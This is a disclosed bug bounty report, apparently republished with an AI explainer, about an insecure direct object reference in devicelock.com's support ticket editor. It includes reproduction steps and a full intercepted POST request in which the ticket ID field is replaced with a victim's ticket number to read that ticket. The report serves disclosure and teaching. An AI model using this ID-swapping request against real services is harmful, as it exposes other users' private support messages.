Attacker Can Access to any Ticket Support on https://www.devicelock.com/support/
A support ticket editing endpoint accepted a ticket identifier supplied by the client and did not check that the ticket belonged to the logged-in user. An attacker with their own account could change the identifier to another user's ticket number and read that ticket's contents.
Originally disclosed on HackerOne
- Triaged in 43 hours
- Fixed in 9 months
- Paid in 3 days
- Disclosed after 11 months
Summary
Hello team.
I found A security issue on devicelock.com where the attacker can access to any Ticket support and real all the information that The users sent to the support. and this without user interaction.
In other words: an attacker can have full access to users Ticket using Ticket id only .
Steps To Reproduce
to Reproduce This bug you need to accounts, one for the attacker and the other for the victim.
- in the victim account go to https://www.devicelock.com/bitrix/admin/ticket_edit.php?lang=en and add a new ticket. now, this ticket has an ID Copy this id.
- go to https://www.devicelock.com/support/ticket_edit.html?ID=0 and put anything on Subject&Message.
now make intercept on and click on Save. and change the Content-Disposition: form-data; name="ID" value to the victim id ticket .
vulnerable Request : ID parameter
POST /support/ticket_edit.html?ID=0 HTTP/1.1
Host: www.devicelock.com
Connection: close
Content-Length: 1505
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://www.devicelock.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEbeDU0DJhrnLl8U7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://www.devicelock.com/support/ticket_edit.html?ID=38173
Accept-Encoding: gzip, deflate
Accept-Language: ar,en-US;q=0.9,en;q=0.8
Cookie: <attacker_Cookie>
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="sessid"
<sessid_attacker>
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="set_default"
Y
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="ID"
<victim_id>
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="lang"
en
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="TITLE"
anything
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="MESSAGE"
anything
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="MAX_FILE_SIZE"
3072000
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="FILE_0"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="FILE_1"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="FILE_2"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="files_counter"
2
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="apply"
Apply
------WebKitFormBoundaryEbeDU0DJhrnLl8U7
Content-Disposition: form-data; name="apply"
Y
------WebKitFormBoundaryEbeDU0DJhrnLl8U7--
now in the response, you can see the victim ticket information.
POC
Impact
an attacker can access all user's tickets without user interaction.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the ticket edit handler trusted the client-supplied ticket ID and never verified that the ticket belonged to the authenticated user.
Impact
An attacker with a normal account could read any other user's support ticket, including whatever personal information those users sent to support, without any action from the victim.
What the attacker needed
An attacker account; a victim ticket ID; ability to intercept requests
How it was found
- Create a new ticket in the victim account and note its ticket ID.
- Open the support ticket edit page in the attacker account and fill in any subject and message.
- Intercept the save request and replace the ID field value with the victim's ticket ID.
- Submit the request and observe the victim's ticket information in the response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Support tickets are stored with a number, and the website uses that number to decide which ticket to show. The site never checked that the person asking for a ticket actually owned it, so anyone could swap in someone else's number and see their messages. This kind of flaw is called an insecure direct object reference: the program trusts an identifier sent by the user.
What is IDOR?
One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.